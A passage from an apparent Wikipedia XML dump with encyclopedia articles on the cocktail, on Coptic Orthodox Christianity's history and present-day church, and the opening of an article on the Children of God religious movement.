[[Image:Cocktail1.jpg|thumb|right|250px|A cocktail.]]
In general, a '''cocktail''' is a mix of several substances, usually liquids. 

This article describes the '''cocktail''' as a mixed [[drink]], usually containing one or more [[distillation|distilled]] [[alcoholic beverage|alcoholic beverages]] and perhaps non-alcoholic drinks, [[ice]] and sometimes [[liqueur]], [[fruit]], sauce, [[honey]], milk or cream, [[spice|spices]], etc.  The cocktail became popular during [[Prohibition]] in the [[United States]]; to mask the taste of [[bootlegging|bootlegged]] alcohol, the bartenders at a [[speakeasy]] would mix it with other liquors and non-alcoholic drinks.

Until the [[1970s]], cocktails were made predominantly with [[gin]], [[whiskey]], or [[rum]], and rarely [[vodka]]. From the 1970s on, the popularity of vodka increased dramatically. By the [[1980s]] it was the predominant base for mixed drinks. Many cocktails traditionally made with gin, such as the [[gimlet (cocktail)|gimlet]], may now be served by default with vodka.

Non-alcoholic carbonated beverages that are used nearly exclusively in cocktails (or in non-alcoholic soda fountain drinks, such as the [[egg cream]]) include [[soda water]], [[tonic water]] and [[seltzer]]. [[Liqueurs]] are also common cocktail ingredients.

==History==
[[Image:Flaming cocktails.jpg|thumb|left|250px|&quot;Flaming&quot; cocktails contain a small amount of flammable [[alcoholic proof|high-proof alcohol]] which is ignited prior to consumption.]]
The earliest known printed use of the word &quot;cocktail&quot; was in the [[May 13]], [[1806]] edition of the ''Balance and Columbian Repository'' (A [[Hudson, New York]] publication), where the paper provided the following answer to what a cocktail was: 
:''&quot;Cocktail is a stimulating liquor composed of spirits of any kind, sugar, water, and bitters--it is vulgarly called a bittered sling and is supposed to be an excellent electioneering potion, inasmuch as it renders the heart stout and bold, at the same time that it fuddles the head. It is said, also to be of great use to a [[United_States_Democratic-Republican_Party|Democratic]] candidate: because a person, having swallowed a glass of it, is ready to swallow anything else.&quot;''

The first publication of a [[bartender]]s' guide which included cocktail recipes was in [[1862]]: ''How to Mix Drinks; or, The Bon Vivant's Companion'', by Professor Jerry Thomas. In addition to listings of recipes for Punches, Sours, Slings, Cobblers, Shrubs, Toddies, Flips, and a variety of other types of mixed drinks were 10 recipes for drinks referred to as &quot;Cocktails&quot;. A key ingredient which differentiated &quot;cocktails&quot; from other drinks in this compendium, was the use of [[bitters]] as an ingredient, although it is not to be seen in very many modern cocktail recipes.

During Prohibition in the United States ([[1919]]-[[1933]]), when alcohol consumption was illegal, cocktails were still consumed in establishments known as speakeasies. Not only was the quality of the alcohol available far lower than was previously used, but the skill and knowledge of the bartenders would also decline significantly during this time.
 
==Etymology==
There are several plausible theories as to the origin of the term &quot;cocktail&quot;. Among them are:
*Some say that it was customary to put a feather (presumably from a cock's tail) in the drink to serve both as decoration and to signal to [[teetotaler]]s that the drink contained [[ethanol|alcohol]]. 
*Another etymology is that the term is derived from ''coquetier'', a French [[egg-cup]] which was used to serve the beverage in [[New Orleans]] in the early 19th century.
*The word could also be a distortion of Latin ''[aqua] decocta'', meaning &quot;distilled water&quot;.

==See also==
{{wikibookspar|Bartending|Cocktails}}
*[[List of cocktails]]
*[[Wikibooks:Bartending]] for many [[recipe|recipes]]
*[[Cocktail stick]]
*[[History of alcohol]]

==Derivative uses==
The word &quot;cocktail&quot; is sometimes figuratively been used for a mixture of (not necessarily drinkable) liquids or other substances, for example: &quot;''120 years of industry have dosed the area's soil with a noxious cocktail of heavy metals and chemical contaminants''&quot;.

==External links==
*[http://www.drinksite.com/ Drinksite Social Drink Network]


[[Category:Cocktails|*]]


[[de:Cocktail]]
[[eo:Koktelo]]
[[fr:Cocktail]]
[[ko:칵테일]]
[[he:קוקטייל]]
[[nl:Cocktail]]
[[ja:カクテル]]
[[pl:Koktajl alkoholowy]]
[[ru:Коктейль]]
[[sl:Koktajl]]
[[sr:Коктел]]
[[sv:Cocktail]]
[[zh:鸡尾酒]]</text>
    </revision>
  </page>
  <page>
    <title>Coptic Christianity</title>
    <id>7601</id>
    <revision>
      <id>42090413</id>
      <timestamp>2006-03-03T19:38:31Z</timestamp>
      <contributor>
        <ip>82.201.215.126</ip>
      </contributor>
      <text xml:space="preserve">[[Image:ChristCopticArt.jpg|frame|[[Jesus]] [[Christ]] in a Coptic [[icon]].]]
'''Coptic Orthodox Christianity''' is the indigenous form of [[Christianity]] that, according to tradition, the apostle [[St. Mark the Evangelist|Mark]] established in [[Egypt]] in the middle of the [[1st century]] AD (approximately [[42]]). The Church belongs to the [[Oriental Orthodoxy]], and the [[Episcopal see|see]] of [[Alexandria]] in Coptic Christianity has been a distinct church body since the [[Council of Chalcedon]] in [[451]]. Her leader is the [[List of Coptic Popes|Pope of Alexandria and the Patriarch of the Holy See of Saint Mark]], currently [[Pope Shenouda III of Alexandria|Pope Shenouda III]]. More than 95% of Egypt's Christians belong to the Coptic Orthodox Church, but other &quot;Patriarchates/Patriarchs of Alexandria&quot; also exist (Coptic Catholic, Greek/Latin Catholic and Greek Orthodox - see 'Coptic Christianity Today' below).


==History==
[[Egypt]] is often identified as the place of refuge that the [[Holy Family]] sought in its [http://www.orthodoxwiki.org/The_Holy_Family_in_Egypt flight] from [[Judea]]: &quot;When he arose, he took the young Child and His mother by night and departed for Egypt, and was there until the death of [[Herod the Great]], that it might be fulfilled which was spoken by the Lord through the prophet, saying, ''Out of Egypt I called My Son''&quot; ([[Gospel of Matthew|Matthew]] 2:12-23). The Egyptian Church, which is now more than nineteen centuries old, was the subject of many prophecies in the [[Old Testament]]. [[Isaiah]] the prophet, in Chapter 19, Verse 19 says &quot;In that day there will be an altar to the LORD in the midst of the land of Egypt, and a pillar to the LORD at its border.&quot;

The first [[Christian]]s in Egypt were mainly [[Alexandria]]n [[Jew]]s such as [[Theophilus (Biblical)|Theophilus]], whom [[Luke the Evangelist|Saint Luke the Evangelist]] addresses in the introductory chapter of his [[Gospel of Luke|gospel]]. When the church was founded by [[Saint Mark|Mark]] during the reign of the [[Roman Empire|Roman]] [[emperor]] [[Nero]], a great multitude of native Egyptians (as opposed to Greeks or Jews) embraced the Christian faith. [[Christianity]] spread throughout Egypt within half a century of Mark's arrival in Alexandria as is clear from the [[New Testament]] writings found in [[Oxyrhynchus|Bahnasa]], in [[Middle Egypt]], which date around the year 200 AD, and a fragment of the [[Gospel of John|Gospel of Saint John]], written in [[Coptic language|Coptic]], which was found in [[Upper Egypt]] and can be dated to the first half of the second century. In the [[2nd century|second century]] [[Christianity]] began to spread to the rural areas, and scriptures were translated into the local language, namely [[Coptic Language|Coptic]].

===The Catechetical School of Alexandria, Egypt===
The Catechetical School of Alexandria is the oldest catechetical school in the world. Founded around 190 by the scholar [[Pantanaeus]], the school of Alexandria became an important institution of religious learning, where students were taught by scholars such as [[Athenagoras of Athens|Athenagoras]], [[Clement of Alexandria|Clement]], [[Didymus the Blind|Didymus]], and the great [[Origen]], who was considered the father of theology and who was also active in the field of commentary and comparative Biblical studies. Origen wrote over 6,000 commentaries of the [[Bible]] in addition to his famous [[Hexapla]]. Many scholars such as [[Saint Jerome|Jerome]] visited the school of Alexandria to exchange ideas and to communicate directly with its scholars. The scope of this school was not limited to theological subjects; science, mathematics and humanities were also taught there. The question and answer method of commentary began there, and 15 centuries before [[Braille]], wood-carving techniques were in use there by blind scholars to read and write.

The Theological college of the catechetical school of Alexandria was re-established in 1893. The new school currently has campuses in Alexandria, [[Cairo]], [[New Jersey]], and [[Los Angeles]], where Coptic priests-to-be and other qualified men and women are taught among other subjects Christian theology, history, [[Coptic language]] and art - including chanting, music, [[iconography]], and tapestry.

===Egyptian origin of the cross symbol===
[[Image:Coptic_bust.jpg|thumb|200px|right|Coptic bust from the transition period, as the ankh become &quot;christianized&quot;. Found in the Fayeum in the 1950s. {{3d_glasses}}]]
For over 2500 years the pagan symbol of the ankh cross was a ubiquitous symbol of spiritual life. Unlike most Egyptian sacred images, it was not a human-like god with the head of an animal, or even the disk of Sun, but a pure symbol of deity. It was not hard to see how that ageless symbol would somehow become connected to a faith, centered around a man who had been executed on another kind of cross. That man, Jesus, was believed by his followers to be the Son of the one and only God. Egypt had long associated the ankh cross with all that was unknowable and trandscendant in their poly-theistic faith. Everywhere else in the Roman influenced world, a cross was merely an implement of execution for slaves and enemies of the Roman state. It was very degrading to connect the memory of the Christian &quot;Savior&quot;, to something that conotated an ignoble and lingering death. The ankh provided a  means to bring the cross into the &quot;pantheon&quot; of Christian symbolism, after 250 years of rejection by the Jewish and Greek followers of Jesus.{{fact}}

===Monasticism and missionary work===
In the [[3rd century|third century]], during the persecution of [[Decius]], some Christians fled to the desert, and remained there to pray after the persecutions abated. This was the beginning of the [[Monasticism|monastic movement]], which was reorganized by [[Saint Anthony the Great|Anthony the Great]] and [[Pachomius]] in the [[4th century]]. By the end of the century, there were hundreds of monasteries, and thousands of cells and caves scattered throughout the Egyptian hills. A number of these monasteries are still flourishing and have new vocations till this day.

Egyptian monasticism attracted the attention of Christians in other parts of the world, who visited Egypt, many bringing monastic ideas home with them, and spreading monasticism through the Christian world. [[Saint Basil|Basil]], organizer of the monastic movement in [[Asia Minor]] visited Egypt around AD [[357]] and his rule is followed by the eastern Churches; Jerome, en route to [[Jerusalem]], stopped in Egypt and left details of his experiences in his letters; [[Benedict of Nursia|Benedict]] founded monasteries in the [[6th century]] on the model of Pachomius, but in a stricter form.

===Council of Nicea===
In the 4th century, a [[Libya]]n priest called [[Arianism|Arius]] started a theological dispute about the nature of Christ that spread throughout the Christian world. The [[Ecumenical Council of Nicea]] ([[325]]) was convened by [[Constantine I (emperor)|Constantine]] to resolve the dispute and eventually led to the formulation of the Symbol of Faith, also known as the [[Nicene Creed]]. The Creed, which is now recited throughout the Christian world, was authored by [[Athanasius of Alexandria|Athanasius the Apostolic]], the Pope and Patriarch of Alexandria.

===Council of Constantinople===
In the year [[381]], [[Timothy I of Alexandria]] presided over the second ecumenical council known as the Ecumenical [[First Council of Constantinople|Council of Constantinople]], which completed the [[Nicene Creed]] with this confirmation of the divinity of the [[Holy Spirit]]: 

:&quot;We believe in the Holy Spirit, the Lord, the Life-giver, who proceeds from the Father, who with the Father and the Son is worshiped and glorified who spoke by the Prophets and in one Holy Universal Apostolic Church. We confess one Baptism for the remission of sins and we look for the resurrection of the dead and the life of the coming age, Amen.&quot;

===Council of Ephesus===
[[Image:CopticAltar.jpg|thumb|left|Coptic Altar in Jerusalem]]
Another theological dispute in the [[5th century]] occurred over the teachings of [[Nestorius]], a Patriarch of Constantinople who taught that God the Word was not [[hypostatically]] joined with human nature, but rather dwelt in the man Jesus. As a consequence of this, he denied the title &quot;Mother of God&quot; ''([[Theotokos]])'' to the [[Mary, the mother of Jesus|Virgin Mary]], declaring her instead to be &quot;Mother of Christ&quot; ''(Christotokos)''. When reports of this reached the Apostolic Throne of [[Mark the Evangelist|Saint Mark]], the Coptic Pope (Cyril I) acted quickly to correct this breach with orthodoxy, requesting that Nestorius repent.  When he would not, the Synod of Alexandria met in an emergency session and a unanimous agreement was reached. Pope  [[Cyril of Alexandria|Cyril I of Alexandria]], supported by the entire See, sent a letter to Nestorius known as &quot;The Third Epistle of Saint Cyril to Nestorius.&quot; This epistle drew heavily on the established Patristic Constitutions and contained the most famous article of Alexandrian Orthodoxy: &quot;The Twelve Anathemas of Saint Cyril.&quot; In these [[anathema]]s, Cyril excommunicated anyone who followed the teachings of Nestorius. For example, &quot;Anyone who dares to deny the [[Mary, the mother of Jesus|Holy Virgin]] the title ''Theotokos'' is Anathema!&quot; Nestorius however, still would not repent and so this led to the convening of the [[First Ecumenical Council of Ephesus]] ([[431]]), over which Cyril presided.

The [[First Ecumenical Council of Ephesus]] confirmed the teachings of [[Athanasius of Alexandria|Saint Athanasius]] and confirmed the title of the Holy Ever-Virgin Mary as &quot;Mother of God&quot;. It also clearly stated that anyone who separated [[Christ]] into two hypostases was anathema, as Athanasius  had said that there is &quot;One Nature and One Hypostasis for God the Word Incarnate&quot; (Mia Physis kai Mia Hypostasis tou Theou Logou Sasarkomeni). Also, the introduction to the creed was formulated as follows:

:&quot;We magnify you O Mother of the True Light and we glorify you O saint and Mother of God ''(Theotokos)'' for you have borne unto us the Saviour of the world. Glory to you O our Master and King: Christ, the pride of the Apostles, the crown of the martyrs, the rejoicing of the righteous, firminess of the churches and the forgiveness of sins. We proclaim the Holy Trinity in One Godhead: we worship Him, we glorify Him, Lord have mercy, Lord have mercy, Lord bless us, Amen.&quot;

The Orthodox faith is considered to have prevailed at the council. Unfortunately, Cyril of Alexandria died soon afterwards. [[Dioscorus of Alexandria|Saint Dioscorus]], the archdeacon of Alexandria (considered a saint by the non-Chalcedonians but a heretic by the Eastern Orthodox and Roman Catholics) was elected as Cyril's replacement. The Nestorians took the opportunity of Cyril's death to revive their campaign against Cyrillian Christology.

===Council of Chalcedon===
[[Image:StMarkCathAlex.jpg|thumb|St Mark Coptic Cathedral in Alexandria]]
By the time the [[Council of Chalcedon]] was called, politics had already started to intermingle with Church affairs. When the Emperor [[Marcianus]] interfered with matters of faith in the Church, the response of [[Dioscorus of Alexandria|Saint Dioscorus]], the Pope of Alexandria who was later to be exiled, to this interference was clear: &quot;You have nothing to do with the Church.&quot; It was at [[Chalcedon]] that the emperor would take his revenge for the Pope's frankness.

The [[Council of Chalcedon]] abandoned Cyrillian terminology and declared that Christ was one hypostasis in two natures. However, in the Nicene-Constantinopolitan Creed, &quot;Christ was conceived of the Holy Spirit and of the Virgin Mary,&quot; thus the foundation according to non-Chalcedonians is made clear. In terms of Christology the Oriental understanding is that Christ is &quot;One Nature--the Logos Incarnate,&quot; ''of'' the full humanity and full divinity. The Byzantine understanding is that Christ is ''in'' two natures, full humanity and full divinity. (Just as all of us are of our mother and father and not in our mother and father, so too is the nature of Christ. If Christ is in full humanity and in full divinity, then He is separate in two persons as the [[Nestorianism|Nestorians]] teach. Imagine your nature in your mother and your father; you are then two different people. If however your nature is of your mother and your father, then you are one person [http://www.geocities.com/mfignatius/others/byzantine01.html].) This is the linguistic difference which separated the Orientals from the Byzantines. 

The Council's finding were rejected by many of the Christians on the fringes of the [[Byzantine Empire]]: Egyptians, [[Syria]]ns, [[Armenia]]ns, and others. From that point onward, Alexandria would have two patriarchs: the &quot;[[Melkite]]&quot; or Imperial Patriarch, now known as the [http://www.greekorthodox-alexandria.org/ Greek Orthodox Patriarch of Alexandria], and the non-Chalcedonian national truly Egyptian one, now known as the [[List of Coptic Popes|Coptic Pope and Patriarch of Alexandria and Apostolic See of St. Mark]]. Almost the entire Egyptian population rejected the terms of the Council of Chalcedon and remained faithful to the national Egyptian Church (now known as the Coptic Church). Those who supported the Chalcedonian definition remained in [[Full communion|communion]] with the other leading churches of [[Rome]] and [[Constantinople]]. The non-Chalcedonian party became what is today called the [[Oriental Orthodoxy|Oriental Orthodox Church]].

The Coptic Church regards herself as having been misunderstood at the Council of Chalcedon. Some Copts believe that perhaps the Council understood the Church correctly, but wanted to exile the Church, to isolate her and to abolish the Egyptian, independent Pope, who maintained that Church and State should remain separate. The Coptic Church regarded that the ousting of Pope Dioscorus of Alexandria in the council of Chalcedon was in part due to the rivalry between the Bishops of Alexandria and Rome. The Tome of Pope Leo of Rome was considered influenced by Nestorian philosophy. It is important to note that Pope Dioscorus of Alexandria was never labeled as heretic by the council's canons. Copts also believe that the Pope of Alexandria was forcibly prevented from attending the third congregation of the council in which he was ousted, which apparently was a result of the conspiracy tailored by the Roman delegates. For further info, please refer to [http://www.romanity.org/htm/rom.06.en.orthodox_and_oriental_orthodox_consultation.htm this key paper] on the subject by Professor Fr. [http://www.orthodoxwiki.org/John_S._Romanides John S. Romanides], a prominent Greek Orthodox scholar.

Before the current positive era of Eastern and Oriental Orthodox dialogues, Chalcedonians sometimes used to call the non-Chalcedonians &quot;[[Monophysitism|monophysites]]&quot;, though the Coptic Church denies that she teaches monophysitism, which she has always regarded as a heresy. They have sometimes called the Chalcedonian group &quot;[[Dyophysitism|dyophysites]]&quot;.  A term that comes closer to Coptic doctrine is &quot;[[Miaphysitism|miaphysite]]&quot; [http://en.wikipedia.org/wiki/Miaphysitism], which refers to a conjoined nature for Christ, both human and divine, united indivisibly in the Incarnate Logos. The Coptic Church believes that Christ is perfect in His divinity, and He is perfect in His humanity, but His divinity and His humanity were united in one nature called &quot;the nature of the incarnate word&quot;, which was reiterated by [[Cyril of Alexandria|Saint Cyril of Alexandria]]. Copts, thus, believe in two natures &quot;human&quot; and &quot;divine&quot; that are united in one hypostasis ''without mingling, without confusion, and without alteration''. These two natures ''did not separate for a moment or the twinkling of an eye'' (Coptic Liturgy of Saint Basil of Caesarea).

===From Chalcedon to the Arab conquest of Egypt===
Copts suffered under the rule of the Byzantine [[Eastern Roman Empire]]. The Melkite Patriarchs, appointed by the emperors as both spiritual leaders and civil governors, massacred the Egyptian population whom they considered heretics. Many Egyptians were tortured and martyred to accept the terms of Chalcedon, but Egyptians remained loyal to the faith of their fathers and to the Cyrillian view of [[Christology]]. One of the most renowned Egyptian saints of that period is [[Saint Samuel the Confessor]].

===The Arab conquest of Egypt===
The [[Arab]] conquest of Egypt took place in AD [[641]]. Although the Imperial forces resisted the Arab army under [[Amr ibn al-As]], the majority of the civilian population, having suffered persecution for the differing Christian beliefs, were less hostile. Considered &quot;[[People of the Book]]&quot;, Christians were allowed to practice their religion, under the protection of the Islamic [[Shari'a]] law. This protection stemmed in part from a [[Hadith]] of [[Muhammad|the Prophet]] (whose [[Muhammad's marriages|Egyptian wife]] ''Maria'' had borne him a son who died in infancy, named Ibrahim) that advised &quot;When you conquer Egypt, be kind to the Copts for they are your proteges and kith and kin&quot; .

Despite the political upheaval, Egypt remained a mainly Christian land, although gradual conversions to Islam over the centuries and the massive immigration of Arabs had the effect of changing Egypt from a mainly Christian to a mainly [[Muslim]] country by the end of the [[12th century]]. This process was sped along by persecutions during and following the reign of the mad [[Fatimid]] caliph [[Al-Hakim bi-Amr Allah]] (reigned AD 996-1021) and the [[Crusades]], and also by the acceptance of Arabic as a liturgical language by the [[Coptic Orthodox Patriarch of Alexandria|Pope of Alexandria]] [[Pope Gabriel II of Alexandria|Gabriel ibn-Turaik]].

===From the 19th century to the 1952 revolution===
The position of the Copts began to improve early in the 19th century under the stability and tolerance of [[Muhammad Ali of Egypt|Muhammad Ali]]'s dynasty. The Coptic community ceased to be regarded by the state as an administrative unit and, by [[1855]], the main mark of Copts' inferiority, the ''Jizya'' tax, was lifted. Shortly thereafter, Christians started to serve in the Egyptian army. The [[1919 revolution]] in Egypt, the first grassroots display of Egyptian identity in centuries, stands as a witness to the homogeneity of Egypt's modern society with both its Muslim and Christian components.

==Coptic Christianity today==
[[Image:Monastry3.jpg|frame|left|A modern Coptic monastery.]]
The current Coptic Orthodox [[Patriarch of Alexandria|Pope of Alexandria and the Patriarch of the Holy See of Saint Mark]] is [[Pope Shenouda III]] (his title should not be confused with that of the [[Roman Catholic]] [[Pope]]). The most recent Greek-Orthodox Patriarch of Alexandria is [[Patriarch Theodoros II of Alexandria|Theodoros II]] [http://www.greekorthodox-alexandria.org/main.htm]. There is a small [[Coptic Catholic Church]] ([[Eastern Rite]] Catholic) which is headed by a Patriarch of Alexandria. The [[Melkite Catholic Church]] ([[Eastern Rite]] Catholic) has little presence in Egypt, but is headed by a Patriarch of Alexandria, Antioch and Jerusalem. There is also a [[List of Orthodox Patriarchs of Alexandria|Greek Orthodox Patriarch of Alexandria]]. Small [[Protestant]] and [[Anglican]] denominations also exist.

By some accounts there are about 60 million Coptic Orthodox Christians in the world: they are found primarily in [[Egypt]] (roughly 15 million), [[Ethiopia]] (roughly 38 million [http://www2.wcc-coe.org/pressreleasesen.nsf/index/pr-05-55.html]), and [[Eritrea]] (roughly 2 million), but there are significant numbers in [[North America]], [[Europe]], [[Australia]], [[Sudan]] and [[Israel]], and in diaspora throughout the world making approximately another 3 to 4 million.  However, as applied to the [[Ethiopian Orthodox Tewahedo Church]], which in 1959 was granted her first own Patriarch by Coptic [[Pope Cyril VI of Alexandria]], the word ''Coptic'' can be considered a misnomer because it means ''Egyptian''.  The [[Eritrean Orthodox Tewahdo Church]] similarly became independent of the Ethiopian Tewahedo Church during the 1990s.  These three churches remain in [[full communion]] with each other and with the other [[Oriental Orthodox]] churches.

Since the 1980s theologians from the Oriental Orthodox and Chalcedonian Orthodox churches have been meeting in a bid to resolve the theological differences, and have concluded that many of the differences are caused by the two groups using different terminology to describe the same thing (see [http://www.orthodoxwiki.org/Agreed_Official_Statements_on_Christology_with_the_Catholic_and_Eastern_Orthodox_Churches Agreed Official Statements on Christology with the Eastern Orthodox Churches]). In the summer of 2001, the Coptic Orthodox and Greek Orthodox Patriarchates of Alexandria [http://www.orthodoxwiki.org/Pastoral_Agreement_between_the_Coptic_Orthodox_and_Greek_Orthodox_Patriarchates_of_Alexandria_%282001%29 agreed] to mutually recognize baptisms performed in each other's churches, making rebaptisms unnecessary, and to recognize the sacrament of marriage as celebrated by the other. Previously, if a Coptic and Greek wanted to marry, the marriage had to be performed twice, once in each church, for it to be recognized by both. Now it can be done in only one church and be recognized by both.

In the Coptic Church only men may be ordained, and they must be married before they are ordained, if they wish to be married. In this respect they follow the same practices as does the [[Eastern Orthodox Church]].

Traditionally, the [[Coptic language]] was used in church services, and the scriptures were written in the [[Coptic alphabet]].  However, due to the arabisation of Egypt, service in churches started to witness increased use of Arabic, while preaching is done entirely in Arabic. Native languages are used, in conjunction with Coptic, during services outside of Egypt.

Coptic Christians celebrate [[Christmas]] on the 7th of January which, since 2002, is an official national holiday in Egypt.

==Prominent Copts==
[[Image:Coptic Church.jpg|thumb|right|200px|A Coptic Church in [[Amman]], [[Jordan]]]]

*'''Some Coptic saints'''
**[[Abanoub|St. Abanoub]]
**[[St. Philopateer Mercurius]]
**[[Abdel Messih El-Makari|St. Abdel Messih El-Makari]]
**[[Abraam Bishop of Fayoum|St. Abraam Bishop of Fayoum]] الأنبا إبرآم أسقف الفيوم
**[[Anthony the Great|St. Anthony the Great]] القديس الأنبا أنطونيوس أب الرهبان
**[[Athanasius of Alexandria|St. Athanasius the Apostolic]] البابا أثناسيوس الرسوليي
**[[Bishoy|St. Pishoy]]
**[[Cyril of Alexandria|St. Cyril of Alexandria]] القديس البابا كيرلس السكندري عامود الدين
**[[Cyril VI|Pope Cyril VI of Alexandria]] قداسة البابا كيرلس السادس
**[[Demiana|St. Demiana]] الشهيدة دميانة
**[[Didimos|St. Didimos]] القديس ديديموس الضرير
**[[Dioscorus of Alexandria|St. Dioscores]] البابا ديسقوروس
**[[Mary of Egypt|St. Mary of Egypt]] القديسة مريم المصرية
**[[Saint Mina|St. Mina]] الشهيد مارمينا العجايبي
**[[Saint Maurice|St. Maurice]] القديس موريس قائد الكتيبة الطيبية
**[[Moses the Black|St. Moses the Black]] القديس موسى الأسود
**[[Pakhom|St. Pakhom]] القديس باخوم أب الشركة
**[[Parsoma|St. Parsoma]] الأنبا برسوم العريان
**[[Pavly the Anchorite|St. Pavly the Anchorite]]
**[[Saint Mercurius|St. Philopatyr Mercurius]]
**[[Samuel the Confessor|St. Samuel the Confessor]]
**[[Saint Shenouda the Archimandrite|St. Shenouda the Archimandrite]]
**[[Simon the Shoemaker|St. Simon the Shoemaker]]
**[[Takla Haymanot|St. Takla Haymanot]] القديس الأنبا تكلا هيمانوت الحبشي القس
**[[Tigy|St. Tigy]]
**[[Verena|St. Verena]] القديسة 
**[[St. Karas]]

*'''Clergymen'''
**[[Pope Shenouda III of Alexandria|HH Pope Shenouda III]], the current Pope of Alexandria قداسة البابا شنوده الثالث

*'''Politicians'''
**[[Boutros Ghali]], Prime Minister of Egypt بطرس غالي
**[[Boutros Boutros-Ghali|Boutros Boutros Ghali]], Former [[Secretary General of the United Nations]] بطرس بطرس غالي
**[[Makram Ebeid]] مكرم عبيد
**[[Kamal Stino]], Former Vice Prime Minister of Egypt كمال ستينو
**[[Youssef Boutros Ghali]] يوسف بطرس غالي

*'''20th-century prominent Copts'''
**[[Professor Naguib Pasha Mahfouz]] (1882-1974), Obstetric fistula pioneer and the father of Obstetrics and Gynaecology in Egypt 
**[[Sir Magdi Yacoub]], leading cardiologist in the world مجدي يعقوب
**[[Isaac Fanous]], the father of modern [[Coptic Art|Coptic]] [[iconography]] ايزاك فانوس
**[[Hany Ramzy]], football player
**[[Mary Moneib]] ماري منيب
**[[Ester Fanous]] إستر فانوس
**[[Sobhi Gergis]] صبحي جرجس
**[[Margret Nakhla]] مرجريت نخلة
**[[Sally Bishai]] Director
**[[Sandra Nashaat]] ساندرا نشأت
**[[Michel Bakhoom]] ميشيل باخوم
**[[Nabih Youssef]] Leading structural engineer in the U.S.
**[[Professor Alfy Morcos Fanous]] Leading civil engineer and one of the coastal engineering pioneers  in the world
**[[Youssef Sidhom]] Prominent Journalist
**[[Onsi Sawiris]] Founder of Orascom Corp. and richest man in Egypt
**[[Fayez Sarofim]] Billionaire Houston financier

==See also==
*[[Copt|The Copts]]
*[[Coptic Alphabet]]
*[[Coptic Art]]
*[[Coptic Calendar]]
*[[Coptic Language]]
*[[Coptic Music]]
*[[List of Coptic Popes]]
**[[List of Patriarchs of Alexandria]] &amp;ndash; prior to Chalcedon
*[[Coptic Catholic Church]]
*[[Egypt]]

==External links==
* [http://www.CopticPope.org Official Website of HH Pope Shenouda III]
* [http://www.touregypt.net/featurestories/copticchristians.htm An Overview of the Coptic Christians of Egypt by Lara Iskander and Jimmy Dunn]
* [http://www.zeitun-eg.org Holy Virgin Mary Apparitions over the domes of Her Coptic Orthodox Church in Zeitun, Cairo, Egypt, 1968 - seen by millions]
* [http://www.zeitun-eg.net/stcyril6/ The late Pope Kyrillos VI (Cyril the Sixth), 116th Pope of Alexandria and See of St. Mark (Coptic Orthodox Patriarch, 1959-1971)]
* [http://www.stmina-monastery.org St. Mina (Menas) Coptic Orthodox Monastery in Mariut, near Alexandria, Egypt]
* [http://st-takla.org/Coptic-church-1.html Coptic Church History at www.St-Takla.org]
* [http://www.copticchurch.net More Information on the Coptic Church, its Beliefs, Practices, and Liturgical Life]
* [http://www.coptic.net CoptNet - The Christian Coptic Orthodox Church Of Egypt]
* [http://www.france-copte.net Réseau des Coptes en France] (French)
* [http://tasbeha.org Ancient Hymns of the Coptic Orthodox Church]
* [http://www.coptichymns.net Coptic Hymns]
* [http://www.tertullian.org/fathers/index.htm#History_of_the_Patriarchs_of_the_Coptic_Church_of_Alexandria History of the Patriarchs of the Coptic Church of Alexandria - to 849 A.D.]
* [http://www.tasbeha.org Coptic Midnight Praises]
* [http://www.agpeya.org/index.html Agpeya: Coptic Book of Hours] - also see [[Canonical hours]]
* [http://www.copticwiki.org CopticWiki]
* [http://online.mq.edu.au/pub/AHPG856/coptic_mq.html The MA Program in Coptic Studies at Macquarie University, Sydney, Australia]

==Bibliography==
* [http://aucpress.com/cgi-aucpress/auc02/pager.cgi?catno=757_4 ''Two Thousand Years of Coptic Christianity'' by Dr. Otto F. A. Meinardus (368 pages - Cairo: AUC Press, 2002)]
* [http://www.amazon.com/gp/product/0965239608/002-6112676-3430426 ''Traditional Egyptian Christianity: A History of the Coptic Orthodox Church'' by Rev. Fr. Prof. Theodore H. Partrick (226 pages - Fisher Park Press, 1996)]
* [http://www.stmina-monastery.org/ButcherEL/ ''Story of the Church of Egypt'' - by Edith L Butcher (1897)]
* [http://groups.yahoo.com/group/arbible/message/25832 Selected Bibliography about Coptic Christianity]
* [http://www.ambassadors.net/opinions2.htm From Paris to Cairo: Resistance of the Unacculturated] 

{{Eastern Christianity}}


[[Category:Ancient Roman Christianity]] [[Category:Coptic Orthodox Church|*]] [[Category:Religion in Egypt]]

[[ar:كنيسة قبطية أرثوذوكسية]]
[[de:Koptische Kirche]]
[[es:Iglesia Copta]]
[[he:קופטים]]
[[it:Chiesa Copta]]
[[lb:Koptesch Kierch]]
[[nl:Koptisch Christendom]]
[[no:Den koptiske kirke]]
[[ja:コプト正教会]]
[[pt:Igreja Copta]]
[[ru:Коптская Православная Церковь]]
[[sv:Koptisk-ortodoxa kyrkan]]
[[zh:科普特教派]]</text>
    </revision>
  </page>
  <page>
    <title>Children of God</title>
    <id>7602</id>
    <revision>
      <id>41973240</id>
      <timestamp>2006-03-02T23:48:52Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>sp (4): Millenium→Millennium, refered→referred, televison→television</comment>
      <text xml:space="preserve">The '''Children of God''' (COG), later known as the '''Family of Love''', the '''Family''', and now '''The Family International''',  is a [[new religious movement]] that started in 1968 in [[Huntington Beach, California|Huntington Beach]], [[California]], [[United States|USA]]. It was a fringe element of the [[Jesus Movement]] of the late 1960s, with many of its early [[Religious conversion|converts]] drawn from the [[hippies|hippie movement]]. It was among the movements prompting the [[cult]] controversy of the 1970s and 1980s in the United States and Europe and triggered the first organized [[anti-cult movement|anticult]] group ([[FREECOG]]).

As it grew and expanded around the world, so did its message&amp;mdash;[[salvation]], [[apocalypticism]], spiritual &quot;revolution&quot; against the outside world that they called &quot;the System&quot;&amp;mdash;and resultant controversy. In 1974, it began to experiment with a method of [[evangelism]] called [[Flirty Fishing]]&amp;mdash;using sex to show God's love and win converts and support. The practice was discontinued in 1987. Their founder and prophetic leader, [[David Berg]], communicated with his followers via ''Mo Letters''&amp;mdash;letters of instruction and counsel on a myriad of spiritual and practical subjects&amp;mdash;until his death in late 1994. After his death, his widow [[Karen Zerby]] became the leader of the Family. 

